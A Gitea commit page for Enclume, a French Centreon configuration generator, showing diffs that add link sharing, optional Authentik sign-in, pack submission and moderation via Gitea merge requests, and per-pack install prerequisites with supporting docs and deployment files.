Partage par lien, comptes Authentik, soumission et moderation de packs, prerequis des sondes ; corrige le lien casse vers le script de l'editeur
build / Garde-fou (pull_request) Failing after 7s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (pull_request) Skipped
build / Images Harbor (web, Dockerfile) (pull_request) Skipped
build / Garde-fou (push) Failing after 8s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (push) Skipped
build / Images Harbor (web, Dockerfile) (push) Skipped
build / Garde-fou (pull_request) Failing after 7s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (pull_request) Skipped
build / Images Harbor (web, Dockerfile) (pull_request) Skipped
build / Garde-fou (push) Failing after 8s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (push) Skipped
build / Images Harbor (web, Dockerfile) (push) Skipped
This commit is contained in:
1 parent
3f0046c208
commit
b063d59525
34 files changed
+2216
-26
No files matched your search
+19
-1
@@ -17,5 +17,23 @@ CATALOG_SUBDIR=catalog
|
|||||||
SYNC_INTERVAL=300
|
SYNC_INTERVAL=300
|
||||||
CATALOG_SUBDIR=catalog
|
CATALOG_SUBDIR=catalog
|
||||||
|
|
||||||
# Base de donnees (chantier 2)
|
# Base de donnees
|
||||||
POSTGRES_PASSWORD=a-remplacer
|
POSTGRES_PASSWORD=a-remplacer
|
||||||
|
|
||||||
|
# Sessions : generer avec openssl rand -hex 32
|
||||||
|
ENCLUME_SECRET_KEY=a-remplacer
|
||||||
|
ENCLUME_PARTAGE_JOURS=90
|
||||||
|
|
||||||
|
# Connexion optionnelle par Authentik (laisser vide pour un site sans comptes)
|
||||||
|
ENCLUME_OIDC_METADATA=https://authentik.tips-of-mine.com/application/o/enclume/.well-known/openid-configuration
|
||||||
|
ENCLUME_OIDC_CLIENT_ID=
|
||||||
|
ENCLUME_OIDC_CLIENT_SECRET=
|
||||||
|
ENCLUME_ADMIN_GROUPE=enclume-admins
|
||||||
|
# Depannage du premier demarrage, avant le mapping de portee "groups" :
|
||||||
|
ENCLUME_ADMIN_COMPTES=
|
||||||
|
|
||||||
|
# Publication des packs acceptes, sous forme de demandes de fusion
|
||||||
|
ENCLUME_GITEA_URL=https://gitea.tips-of-mine.com
|
||||||
|
ENCLUME_GITEA_TOKEN=
|
||||||
|
ENCLUME_GITEA_PROPRIETAIRE=Tips-Of-Mine
|
||||||
|
ENCLUME_GITEA_DEPOT=Enclume
|
||||||
+5
-1
@@ -40,6 +40,10 @@ COPY --from=build /opt/venv /opt/venv
|
|||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
COPY --chown=root:root enclume/ /app/enclume/
|
COPY --chown=root:root enclume/ /app/enclume/
|
||||||
COPY --chown=root:root catalog/ /app/catalog/
|
COPY --chown=root:root catalog/ /app/catalog/
|
||||||
|
COPY --chown=root:root migrations/ /app/migrations/
|
||||||
|
COPY --chown=root:root alembic.ini /app/alembic.ini
|
||||||
|
COPY --chown=root:root docker/entrypoint-web.sh /usr/local/bin/entrypoint-web
|
||||||
|
RUN chmod +x /usr/local/bin/entrypoint-web
|
||||||
|
|
||||||
USER enclume
|
USER enclume
|
||||||
EXPOSE 8080
|
EXPOSE 8080
|
||||||
@@ -47,4 +51,4 @@ EXPOSE 8080
|
|||||||
HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \
|
HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \
|
||||||
CMD python -c "import urllib.request,sys; sys.exit(0 if urllib.request.urlopen('http://127.0.0.1:8080/sante', timeout=4).status==200 else 1)"
|
CMD python -c "import urllib.request,sys; sys.exit(0 if urllib.request.urlopen('http://127.0.0.1:8080/sante', timeout=4).status==200 else 1)"
|
||||||
|
|
||||||
CMD ["sh", "-c", "exec gunicorn --bind 0.0.0.0:8080 --workers ${GUNICORN_WORKERS} --timeout ${GUNICORN_TIMEOUT} --access-logfile - --error-logfile - --forwarded-allow-ips '*' 'enclume.webapp:create_app()'"]
|
CMD ["/usr/local/bin/entrypoint-web"]
|
||||||
@@ -18,12 +18,20 @@ Projet indépendant, sans lien avec Centreon SAS.
|
|||||||
- **Version de Centreon** au niveau du projet : les macros sortent en 3 ou 5 champs selon
|
- **Version de Centreon** au niveau du projet : les macros sortent en 3 ou 5 champs selon
|
||||||
la cible.
|
la cible.
|
||||||
|
|
||||||
|
- **Prérequis d'installation** : un pack peut déclarer ses paquets et ses droits, générés
|
||||||
|
dans un `prerequis.sh` distinct du CLAPI.
|
||||||
|
- **Partage par lien**, projets enregistrés et **soumission de packs** quand l'instance est
|
||||||
|
configurée pour — voir [docs/COMPTES-ET-MODERATION.md](docs/COMPTES-ET-MODERATION.md).
|
||||||
|
|
||||||
## Ce que le serveur ne fait pas
|
## Ce que le serveur ne fait pas
|
||||||
|
|
||||||
Le projet vit dans le navigateur du visiteur (`localStorage`), s'exporte en JSON et se
|
Il n'exécute rien. Ni CLAPI, ni prérequis, ni contribution : il écrit des fichiers que
|
||||||
réimporte. Le serveur valide et génère, sans rien conserver. Les macros marquées « mot de
|
l'utilisateur relit avant de les jouer.
|
||||||
passe » ne sont jamais stockées ni partagées : elles sont vidées avant toute écriture côté
|
|
||||||
serveur.
|
Sans configuration, le projet vit dans le navigateur (`localStorage`), s'exporte en JSON et
|
||||||
|
se réimporte ; le serveur valide et génère sans rien conserver. Avec une base, le partage et
|
||||||
|
l'enregistrement deviennent possibles — et les macros marquées « mot de passe » sont vidées
|
||||||
|
avant toute écriture, quelle qu'elle soit.
|
||||||
|
|
||||||
## Architecture
|
## Architecture
|
||||||
|
|
||||||
@@ -69,6 +77,10 @@ python3 -m enclume.cli --projet mon-projet.json --out ./sortie
|
|||||||
| `POST /api/valider` | validation seule |
|
| `POST /api/valider` | validation seule |
|
||||||
| `POST /api/generer` | validation et génération des quatre fichiers |
|
| `POST /api/generer` | validation et génération des quatre fichiers |
|
||||||
| `POST /telecharger` | archive zip |
|
| `POST /telecharger` | archive zip |
|
||||||
|
| `POST /api/partages` `GET /api/partages/<id>` | partage par lien |
|
||||||
|
| `GET POST DELETE /api/projets` | projets enregistrés (connexion requise) |
|
||||||
|
| `POST /api/soumissions/verifier` `POST /api/soumissions` | contribution d'un pack |
|
||||||
|
| `/api/moderation/...` | file de modération (groupe d'administration) |
|
||||||
| `GET /sante` | version, commit, état du catalogue |
|
| `GET /sante` | version, commit, état du catalogue |
|
||||||
| `POST /recharger` | relecture du catalogue (appelé par `catalog-sync`) |
|
| `POST /recharger` | relecture du catalogue (appelé par `catalog-sync`) |
|
||||||
|
|
||||||
@@ -101,7 +113,7 @@ compose.dev.yaml développement local
|
|||||||
|
|
||||||
1. Éditeur libre — **fait**
|
1. Éditeur libre — **fait**
|
||||||
2. Empaquetage Docker, CI, exploitation — **fait**
|
2. Empaquetage Docker, CI, exploitation — **fait**
|
||||||
3. Partage par lien et projets enregistrés (PostgreSQL)
|
3. Partage par lien et projets enregistrés — **fait**
|
||||||
4. Connexion optionnelle via Authentik
|
4. Connexion optionnelle via Authentik — **fait**
|
||||||
5. Soumission de packs et modération, écriture dans Gitea
|
5. Soumission de packs et modération, demandes de fusion Gitea — **fait**
|
||||||
6. Habillage public : page d'accueil, mentions, documentation d'usage
|
6. Habillage public : page d'accueil, mentions, documentation d'usage
|
||||||
+38
@@ -0,0 +1,38 @@
|
|||||||
|
# Migrations de la base Enclume.
|
||||||
|
# L'URL n'est pas ecrite ici : elle vient de ENCLUME_DATABASE_URL, lue par env.py.
|
||||||
|
[alembic]
|
||||||
|
script_location = migrations
|
||||||
|
prepend_sys_path = .
|
||||||
|
|
||||||
|
[loggers]
|
||||||
|
keys = root,sqlalchemy,alembic
|
||||||
|
|
||||||
|
[handlers]
|
||||||
|
keys = console
|
||||||
|
|
||||||
|
[formatters]
|
||||||
|
keys = generic
|
||||||
|
|
||||||
|
[logger_root]
|
||||||
|
level = WARN
|
||||||
|
handlers = console
|
||||||
|
qualname =
|
||||||
|
|
||||||
|
[logger_sqlalchemy]
|
||||||
|
level = WARN
|
||||||
|
handlers =
|
||||||
|
qualname = sqlalchemy.engine
|
||||||
|
|
||||||
|
[logger_alembic]
|
||||||
|
level = INFO
|
||||||
|
handlers =
|
||||||
|
qualname = alembic
|
||||||
|
|
||||||
|
[handler_console]
|
||||||
|
class = StreamHandler
|
||||||
|
args = (sys.stderr,)
|
||||||
|
level = NOTSET
|
||||||
|
formatter = generic
|
||||||
|
|
||||||
|
[formatter_generic]
|
||||||
|
format = %(levelname)-5.5s [%(name)s] %(message)s
|
||||||
@@ -13,6 +13,15 @@ host_template:
|
|||||||
- {name: MSSQLUSERNAME, value: "centreon", description: "Compte de supervision"}
|
- {name: MSSQLUSERNAME, value: "centreon", description: "Compte de supervision"}
|
||||||
- {name: MSSQLPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
|
- {name: MSSQLPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
|
||||||
- {name: MSSQLEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
- {name: MSSQLEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
||||||
|
prerequis:
|
||||||
|
paquets:
|
||||||
|
debian: [libdbd-sybase-perl, freetds-bin]
|
||||||
|
rhel: [perl-DBD-Sybase, freetds]
|
||||||
|
notes: |
|
||||||
|
Le plugin passe par FreeTDS. Verifier /etc/freetds/freetds.conf et le
|
||||||
|
droit VIEW SERVER STATE pour le compte de supervision.
|
||||||
|
verifications:
|
||||||
|
- "/usr/lib/centreon/plugins/centreon_mssql.pl --plugin=database::mssql::plugin --list-mode"
|
||||||
services:
|
services:
|
||||||
- name: Connection-Time
|
- name: Connection-Time
|
||||||
alias: Connection-Time
|
alias: Connection-Time
|
||||||
|
|||||||
@@ -13,6 +13,16 @@ host_template:
|
|||||||
- {name: MYSQLUSERNAME, value: "centreon", description: "Compte de supervision"}
|
- {name: MYSQLUSERNAME, value: "centreon", description: "Compte de supervision"}
|
||||||
- {name: MYSQLPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
|
- {name: MYSQLPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
|
||||||
- {name: MYSQLEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
- {name: MYSQLEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
||||||
|
prerequis:
|
||||||
|
paquets:
|
||||||
|
debian: [libdbd-mysql-perl]
|
||||||
|
rhel: [perl-DBD-MySQL]
|
||||||
|
notes: |
|
||||||
|
Creer un compte de supervision en lecture seule sur l'instance :
|
||||||
|
CREATE USER 'centreon'@'%' IDENTIFIED BY '...';
|
||||||
|
GRANT REPLICATION CLIENT, PROCESS, SELECT ON *.* TO 'centreon'@'%';
|
||||||
|
verifications:
|
||||||
|
- "/usr/lib/centreon/plugins/centreon_mysql.pl --plugin=database::mysql::plugin --list-mode"
|
||||||
services:
|
services:
|
||||||
- name: Connection-Time
|
- name: Connection-Time
|
||||||
alias: Connection-Time
|
alias: Connection-Time
|
||||||
|
|||||||
@@ -14,6 +14,13 @@ host_template:
|
|||||||
- {name: ORACLEUSERNAME, value: "centreon", description: "Compte de supervision"}
|
- {name: ORACLEUSERNAME, value: "centreon", description: "Compte de supervision"}
|
||||||
- {name: ORACLEPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
|
- {name: ORACLEPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
|
||||||
- {name: ORACLEEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
- {name: ORACLEEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
||||||
|
prerequis:
|
||||||
|
notes: |
|
||||||
|
Necessite le client Oracle Instant Client et le module Perl DBD::Oracle,
|
||||||
|
tous deux absents des depots standards : suivre la procedure Oracle, puis
|
||||||
|
definir ORACLE_HOME et LD_LIBRARY_PATH pour l'utilisateur centreon-engine.
|
||||||
|
verifications:
|
||||||
|
- "/usr/lib/centreon/plugins/centreon_oracle.pl --plugin=database::oracle::plugin --list-mode"
|
||||||
services:
|
services:
|
||||||
- name: Connection-Time
|
- name: Connection-Time
|
||||||
alias: Connection-Time
|
alias: Connection-Time
|
||||||
|
|||||||
@@ -14,6 +14,16 @@ host_template:
|
|||||||
- {name: PGPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
|
- {name: PGPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
|
||||||
- {name: PGDATABASE, value: "postgres", description: "Base de connexion"}
|
- {name: PGDATABASE, value: "postgres", description: "Base de connexion"}
|
||||||
- {name: PGEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
- {name: PGEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
||||||
|
prerequis:
|
||||||
|
paquets:
|
||||||
|
debian: [libdbd-pg-perl]
|
||||||
|
rhel: [perl-DBD-Pg]
|
||||||
|
notes: |
|
||||||
|
Compte de supervision avec le role pg_monitor :
|
||||||
|
CREATE ROLE centreon LOGIN PASSWORD '...';
|
||||||
|
GRANT pg_monitor TO centreon;
|
||||||
|
verifications:
|
||||||
|
- "/usr/lib/centreon/plugins/centreon_postgres.pl --plugin=database::postgres::plugin --list-mode"
|
||||||
services:
|
services:
|
||||||
- name: Connection-Time
|
- name: Connection-Time
|
||||||
alias: Connection-Time
|
alias: Connection-Time
|
||||||
|
|||||||
@@ -14,6 +14,13 @@ host_template:
|
|||||||
- {name: VMWARECONTAINER, value: "default", description: "Nom du container declare dans le connecteur"}
|
- {name: VMWARECONTAINER, value: "default", description: "Nom du container declare dans le connecteur"}
|
||||||
- {name: VMWAREESXHOSTNAME, value: "", description: "Nom de l'hote ESXi dans le vCenter"}
|
- {name: VMWAREESXHOSTNAME, value: "", description: "Nom de l'hote ESXi dans le vCenter"}
|
||||||
- {name: VMWAREEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
- {name: VMWAREEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
|
||||||
|
prerequis:
|
||||||
|
paquets:
|
||||||
|
debian: [centreon-plugin-virtualization-vmware2-connector-daemon]
|
||||||
|
rhel: [centreon-plugin-virtualization-vmware2-connector-daemon]
|
||||||
|
notes: |
|
||||||
|
Le connecteur Centreon VMware doit tourner et declarer un container
|
||||||
|
pointant sur le vCenter, avec un compte en lecture seule.
|
||||||
services:
|
services:
|
||||||
- name: Host-Status
|
- name: Host-Status
|
||||||
alias: Host-Status
|
alias: Host-Status
|
||||||
|
|||||||
@@ -12,6 +12,13 @@ host_template:
|
|||||||
check_command_args: "!3!200,20%!400,50%"
|
check_command_args: "!3!200,20%!400,50%"
|
||||||
macros:
|
macros:
|
||||||
- {name: NRPEPORT, value: "5666", description: "Port d'ecoute de l'agent NRPE"}
|
- {name: NRPEPORT, value: "5666", description: "Port d'ecoute de l'agent NRPE"}
|
||||||
|
prerequis:
|
||||||
|
paquets:
|
||||||
|
debian: [centreon-nrpe3-plugin]
|
||||||
|
rhel: [centreon-nrpe3-plugin]
|
||||||
|
notes: |
|
||||||
|
Cote client supervise : installer l'agent NRPE, declarer l'adresse du
|
||||||
|
collecteur dans allowed_hosts, et definir les commandes appelees.
|
||||||
services:
|
services:
|
||||||
- name: Cpu
|
- name: Cpu
|
||||||
alias: Cpu
|
alias: Cpu
|
||||||
|
|||||||
+22
-2
@@ -18,6 +18,26 @@ services:
|
|||||||
ENCLUME_CATALOG: /catalogue/actuel
|
ENCLUME_CATALOG: /catalogue/actuel
|
||||||
GUNICORN_WORKERS: ${GUNICORN_WORKERS:-2}
|
GUNICORN_WORKERS: ${GUNICORN_WORKERS:-2}
|
||||||
TZ: ${TZ:-Europe/Paris}
|
TZ: ${TZ:-Europe/Paris}
|
||||||
|
ENCLUME_URL_PUBLIQUE: https://${ENCLUME_DOMAINE}
|
||||||
|
# Sessions. Sans cle, elles sont perdues a chaque redemarrage.
|
||||||
|
ENCLUME_SECRET_KEY: ${ENCLUME_SECRET_KEY:?definir ENCLUME_SECRET_KEY}
|
||||||
|
# Base : sans elle, ni partage ni comptes, l'editeur fonctionne quand meme.
|
||||||
|
ENCLUME_DATABASE_URL: postgresql+psycopg://enclume:${POSTGRES_PASSWORD}@db:5432/enclume
|
||||||
|
ENCLUME_PARTAGE_JOURS: ${ENCLUME_PARTAGE_JOURS:-90}
|
||||||
|
# Connexion optionnelle, deleguee a Authentik qui federe GitHub et Google.
|
||||||
|
ENCLUME_OIDC_METADATA: ${ENCLUME_OIDC_METADATA:-}
|
||||||
|
ENCLUME_OIDC_CLIENT_ID: ${ENCLUME_OIDC_CLIENT_ID:-}
|
||||||
|
ENCLUME_OIDC_CLIENT_SECRET: ${ENCLUME_OIDC_CLIENT_SECRET:-}
|
||||||
|
ENCLUME_ADMIN_GROUPE: ${ENCLUME_ADMIN_GROUPE:-enclume-admins}
|
||||||
|
ENCLUME_ADMIN_COMPTES: ${ENCLUME_ADMIN_COMPTES:-}
|
||||||
|
# Depot du catalogue : la moderation y ouvre des demandes de fusion.
|
||||||
|
ENCLUME_GITEA_URL: ${ENCLUME_GITEA_URL:-}
|
||||||
|
ENCLUME_GITEA_TOKEN: ${ENCLUME_GITEA_TOKEN:-}
|
||||||
|
ENCLUME_GITEA_PROPRIETAIRE: ${ENCLUME_GITEA_PROPRIETAIRE:-}
|
||||||
|
ENCLUME_GITEA_DEPOT: ${ENCLUME_GITEA_DEPOT:-}
|
||||||
|
depends_on:
|
||||||
|
db:
|
||||||
|
condition: service_healthy
|
||||||
volumes:
|
volumes:
|
||||||
- catalogue:/catalogue:ro
|
- catalogue:/catalogue:ro
|
||||||
networks: [back_network_enclume, db_network_enclume, traefik_front_network]
|
networks: [back_network_enclume, db_network_enclume, traefik_front_network]
|
||||||
@@ -95,8 +115,8 @@ services:
|
|||||||
driver: json-file
|
driver: json-file
|
||||||
options: {max-size: "5m", max-file: "2"}
|
options: {max-size: "5m", max-file: "2"}
|
||||||
|
|
||||||
# Utilisee a partir du chantier 2 (liens de partage, projets enregistres).
|
# Partages, projets enregistres et soumissions de packs.
|
||||||
# L'application fonctionne sans, tant que ENCLUME_DATABASE_URL n'est pas defini.
|
# L'application demarre sans, tant que ENCLUME_DATABASE_URL n'est pas defini.
|
||||||
db:
|
db:
|
||||||
image: postgres:16.4-alpine
|
image: postgres:16.4-alpine
|
||||||
restart: unless-stopped
|
restart: unless-stopped
|
||||||
|
|||||||
@@ -0,0 +1,23 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# Demarrage de l'application.
|
||||||
|
#
|
||||||
|
# Les migrations tournent avant gunicorn, et un echec arrete le conteneur :
|
||||||
|
# une base a moitie migree derriere une application qui repond serait pire
|
||||||
|
# qu'une indisponibilite visible.
|
||||||
|
set -eu
|
||||||
|
|
||||||
|
if [ -n "${ENCLUME_DATABASE_URL:-}" ]; then
|
||||||
|
echo "enclume : migration de la base"
|
||||||
|
alembic upgrade head
|
||||||
|
else
|
||||||
|
echo "enclume : aucune base configuree, mode sans etat"
|
||||||
|
fi
|
||||||
|
|
||||||
|
exec gunicorn \
|
||||||
|
--bind 0.0.0.0:8080 \
|
||||||
|
--workers "${GUNICORN_WORKERS:-2}" \
|
||||||
|
--timeout "${GUNICORN_TIMEOUT:-30}" \
|
||||||
|
--access-logfile - \
|
||||||
|
--error-logfile - \
|
||||||
|
--forwarded-allow-ips '*' \
|
||||||
|
'enclume.webapp:create_app()'
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
# Comptes, partage et modération
|
||||||
|
|
||||||
|
Trois fonctionnalités s'activent indépendamment. Aucune n'est obligatoire : sans base de
|
||||||
|
données, sans OIDC et sans jeton Gitea, Enclume reste l'éditeur qui génère du CLAPI. C'est
|
||||||
|
ce qui permet à n'importe qui de l'auto-héberger sans rien configurer.
|
||||||
|
|
||||||
|
| Fonction | Ce qu'il faut | Sans ça |
|
||||||
|
|---|---|---|
|
||||||
|
| Partage par lien | `ENCLUME_DATABASE_URL` | bouton absent |
|
||||||
|
| Comptes et projets enregistrés | base + OIDC | site utilisable, sans connexion |
|
||||||
|
| Soumission de packs | base + OIDC | contributions par pull request uniquement |
|
||||||
|
| Publication des packs acceptés | jeton Gitea | modération possible, publication non |
|
||||||
|
|
||||||
|
`/sante` annonce l'état réel de chacune.
|
||||||
|
|
||||||
|
## Authentik
|
||||||
|
|
||||||
|
Un seul fournisseur est déclaré côté Enclume. C'est Authentik qui fédère GitHub, Google ou
|
||||||
|
tout autre fournisseur social : en ajouter un plus tard ne demande aucun redéploiement.
|
||||||
|
|
||||||
|
**Créer le fournisseur** — Applications → Fournisseurs → Créer → OAuth2/OpenID.
|
||||||
|
|
||||||
|
- Type de client : **Confidentiel**
|
||||||
|
- URI de redirection, en correspondance stricte : `https://<domaine>/connexion/retour`
|
||||||
|
- Portées : `openid`, `email`, `profile`
|
||||||
|
- Noter l'identifiant client et le secret
|
||||||
|
|
||||||
|
**Créer l'application** — Applications → Applications → Créer. Le **slug** compte : c'est lui
|
||||||
|
qui apparaît dans l'URL de découverte.
|
||||||
|
|
||||||
|
```
|
||||||
|
ENCLUME_OIDC_METADATA=https://authentik.<domaine>/application/o/<slug>/.well-known/openid-configuration
|
||||||
|
ENCLUME_OIDC_CLIENT_ID=...
|
||||||
|
ENCLUME_OIDC_CLIENT_SECRET=...
|
||||||
|
```
|
||||||
|
|
||||||
|
**Le groupe de modération.** Enclume lit la revendication `groups` du jeton, qu'Authentik
|
||||||
|
n'envoie pas par défaut. Créer une correspondance de portée (Personnalisation → Property
|
||||||
|
Mappings → Scope Mapping), nom de portée `groups`, expression :
|
||||||
|
|
||||||
|
```python
|
||||||
|
return {"groups": [group.name for group in request.user.ak_groups.all()]}
|
||||||
|
```
|
||||||
|
|
||||||
|
Puis ajouter cette portée au fournisseur, et créer un groupe `enclume-admins` dont tu es
|
||||||
|
membre.
|
||||||
|
|
||||||
|
Le temps de mettre ça en place, `[email protected]` donne l'accès
|
||||||
|
à la modération sur la seule foi de l'adresse. À vider ensuite.
|
||||||
|
|
||||||
|
## Le jeton Gitea
|
||||||
|
|
||||||
|
Un jeton d'accès personnel sur le compte qui ouvrira les demandes de fusion, avec la portée
|
||||||
|
`write:repository` sur le dépôt du catalogue. Publier un pack accepté crée une branche, y
|
||||||
|
dépose le fichier YAML et ouvre une pull request — **jamais un push sur la branche
|
||||||
|
principale**. Tu relis dans Gitea avant de fusionner.
|
||||||
|
|
||||||
|
## Ce qui n'est jamais stocké
|
||||||
|
|
||||||
|
Les macros marquées « mot de passe » sont vidées avant toute écriture en base : partage,
|
||||||
|
projet enregistré, soumission. Un site public n'a aucune raison de détenir le mot de passe
|
||||||
|
MySQL de quelqu'un. L'avertissement affiché au partage le rappelle à l'utilisateur.
|
||||||
|
|
||||||
|
## Migrations
|
||||||
|
|
||||||
|
Le conteneur `web` exécute `alembic upgrade head` à son démarrage, puis lance gunicorn. Un
|
||||||
|
échec de migration arrête le conteneur : une base à moitié migrée derrière une application
|
||||||
|
qui répond serait pire qu'une indisponibilité visible.
|
||||||
|
|
||||||
|
**Règle d'écriture des migrations** : on ajoute, on ne retire jamais dans la même version que
|
||||||
|
le code qui cesse d'utiliser une colonne. La suppression arrive une version plus tard. Sans
|
||||||
|
cette discipline, revenir à l'image précédente casse l'application — et tout l'intérêt des
|
||||||
|
tags immuables disparaît.
|
||||||
|
|
||||||
|
Sauvegarde avant une montée de version qui touche au schéma :
|
||||||
|
|
||||||
|
```bash
|
||||||
|
docker compose exec -T db pg_dump -U enclume enclume | zstd > enclume-$(date +%F).sql.zst
|
||||||
|
```
|
||||||
|
|
||||||
|
## Les limites en place
|
||||||
|
|
||||||
|
| Réglage | Défaut | Rôle |
|
||||||
|
|---|---|---|
|
||||||
|
| `ENCLUME_PARTAGE_JOURS` | 90 | expiration des liens |
|
||||||
|
| `ENCLUME_PROJETS_PAR_COMPTE` | 50 | projets enregistrés par compte |
|
||||||
|
| `ENCLUME_SOUMISSIONS_PAR_JOUR` | 10 | soumissions par compte et par jour |
|
||||||
|
| `ENCLUME_TAILLE_MAX_PACK` | 256 ko | taille d'un YAML soumis |
|
||||||
|
| `ENCLUME_TAILLE_MAX_PROJET` | 2 Mo | taille d'un projet |
|
||||||
|
|
||||||
|
Les identifiants de partage font 12 caractères tirés au hasard, soit 72 bits : ils ne
|
||||||
|
s'énumèrent pas. Les liens expirés sont purgés à chaque nouveau partage.
|
||||||
+155
@@ -0,0 +1,155 @@
|
|||||||
|
"""Connexion optionnelle par OpenID Connect.
|
||||||
|
|
||||||
|
Le site reste entierement utilisable sans compte : se connecter n'ajoute que
|
||||||
|
l'enregistrement de projets cote serveur et la soumission de packs.
|
||||||
|
|
||||||
|
Un seul fournisseur est declare, Authentik, qui federe lui-meme GitHub, Google
|
||||||
|
ou tout autre fournisseur social. L'application n'a donc jamais a connaitre les
|
||||||
|
identifiants de ces services, ni a etre redeployee quand on en ajoute un.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import functools
|
||||||
|
from typing import Any, Callable
|
||||||
|
|
||||||
|
from authlib.integrations.flask_client import OAuth
|
||||||
|
from flask import Blueprint, current_app, jsonify, redirect, request, session, url_for
|
||||||
|
|
||||||
|
from .config import Config
|
||||||
|
from .db import Utilisateur, db, maintenant
|
||||||
|
|
||||||
|
oauth = OAuth()
|
||||||
|
bp = Blueprint("auth", __name__)
|
||||||
|
|
||||||
|
|
||||||
|
def init_app(app) -> None:
|
||||||
|
oauth.init_app(app)
|
||||||
|
if not Config.oidc_actif():
|
||||||
|
return
|
||||||
|
oauth.register(
|
||||||
|
name="fournisseur",
|
||||||
|
client_id=Config.OIDC_CLIENT_ID,
|
||||||
|
client_secret=Config.OIDC_CLIENT_SECRET,
|
||||||
|
server_metadata_url=Config.OIDC_METADATA,
|
||||||
|
client_kwargs={"scope": Config.OIDC_SCOPES},
|
||||||
|
)
|
||||||
|
app.register_blueprint(bp)
|
||||||
|
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------- #
|
||||||
|
# Etat de la session
|
||||||
|
# --------------------------------------------------------------------------- #
|
||||||
|
|
||||||
|
def utilisateur_courant() -> Utilisateur | None:
|
||||||
|
identifiant = session.get("utilisateur_id")
|
||||||
|
if not identifiant or not Config.base_active():
|
||||||
|
return None
|
||||||
|
return db.session.get(Utilisateur, identifiant)
|
||||||
|
|
||||||
|
|
||||||
|
def est_administrateur(utilisateur: Utilisateur | None = None) -> bool:
|
||||||
|
utilisateur = utilisateur or utilisateur_courant()
|
||||||
|
return bool(utilisateur and utilisateur.administrateur)
|
||||||
|
|
||||||
|
|
||||||
|
def connexion_requise(vue: Callable) -> Callable:
|
||||||
|
@functools.wraps(vue)
|
||||||
|
def enveloppe(*args: Any, **kwargs: Any):
|
||||||
|
if utilisateur_courant() is None:
|
||||||
|
return jsonify({"erreur": "connexion requise"}), 401
|
||||||
|
return vue(*args, **kwargs)
|
||||||
|
|
||||||
|
return enveloppe
|
||||||
|
|
||||||
|
|
||||||
|
def administration_requise(vue: Callable) -> Callable:
|
||||||
|
@functools.wraps(vue)
|
||||||
|
def enveloppe(*args: Any, **kwargs: Any):
|
||||||
|
utilisateur = utilisateur_courant()
|
||||||
|
if utilisateur is None:
|
||||||
|
return jsonify({"erreur": "connexion requise"}), 401
|
||||||
|
if not utilisateur.administrateur:
|
||||||
|
return jsonify({"erreur": "reserve a la moderation"}), 403
|
||||||
|
return vue(*args, **kwargs)
|
||||||
|
|
||||||
|
return enveloppe
|
||||||
|
|
||||||
|
|
||||||
|
# --------------------------------------------------------------------------- #
|
||||||
|
# Parcours de connexion
|
||||||
|
# --------------------------------------------------------------------------- #
|
||||||
|
|
||||||
|
def _destination_sure(brut: str | None) -> str:
|
||||||
|
"""N'accepte qu'un chemin interne : pas de redirection ouverte."""
|
||||||
|
if not brut or not brut.startswith("/") or brut.startswith("//"):
|
||||||
|
return "/"
|
||||||
|
return brut
|
||||||
|
|
||||||
|
|
||||||
|
@bp.get("/connexion")
|
||||||
|
def connexion():
|
||||||
|
session["retour"] = _destination_sure(request.args.get("retour"))
|
||||||
|
redirection = url_for("auth.retour", _external=True)
|
||||||
|
if Config.URL_PUBLIQUE:
|
||||||
|
redirection = f"{Config.URL_PUBLIQUE}{url_for('auth.retour')}"
|
||||||
|
return oauth.fournisseur.authorize_redirect(redirection)
|
||||||
|
|
||||||
|
|
||||||
|
@bp.get("/connexion/retour")
|
||||||
|
def retour():
|
||||||
|
try:
|
||||||
|
jeton = oauth.fournisseur.authorize_access_token()
|
||||||
|
except Exception: # noqa: BLE001 - echec d'echange, on renvoie sans detail
|
||||||
|
current_app.logger.warning("echec de l'echange du jeton OIDC")
|
||||||
|
return redirect("/?connexion=echec")
|
||||||
|
|
||||||
|
revendications = jeton.get("userinfo") or {}
|
||||||
|
if not revendications:
|
||||||
|
try:
|
||||||
|
revendications = oauth.fournisseur.userinfo(token=jeton)
|
||||||
|
except Exception: # noqa: BLE001
|
||||||
|
revendications = {}
|
||||||
|
|
||||||
|
sujet = str(revendications.get("sub") or "").strip()
|
||||||
|
if not sujet:
|
||||||
|
return redirect("/?connexion=echec")
|
||||||
|
|
||||||
|
utilisateur = db.session.query(Utilisateur).filter_by(sujet=sujet).one_or_none()
|
||||||
|
if utilisateur is None:
|
||||||
|
utilisateur = Utilisateur(sujet=sujet)
|
||||||
|
db.session.add(utilisateur)
|
||||||
|
|
||||||
|
utilisateur.email = str(revendications.get("email") or "")[:320]
|
||||||
|
utilisateur.nom = str(
|
||||||
|
revendications.get("name") or revendications.get("preferred_username") or ""
|
||||||
|
)[:255]
|
||||||
|
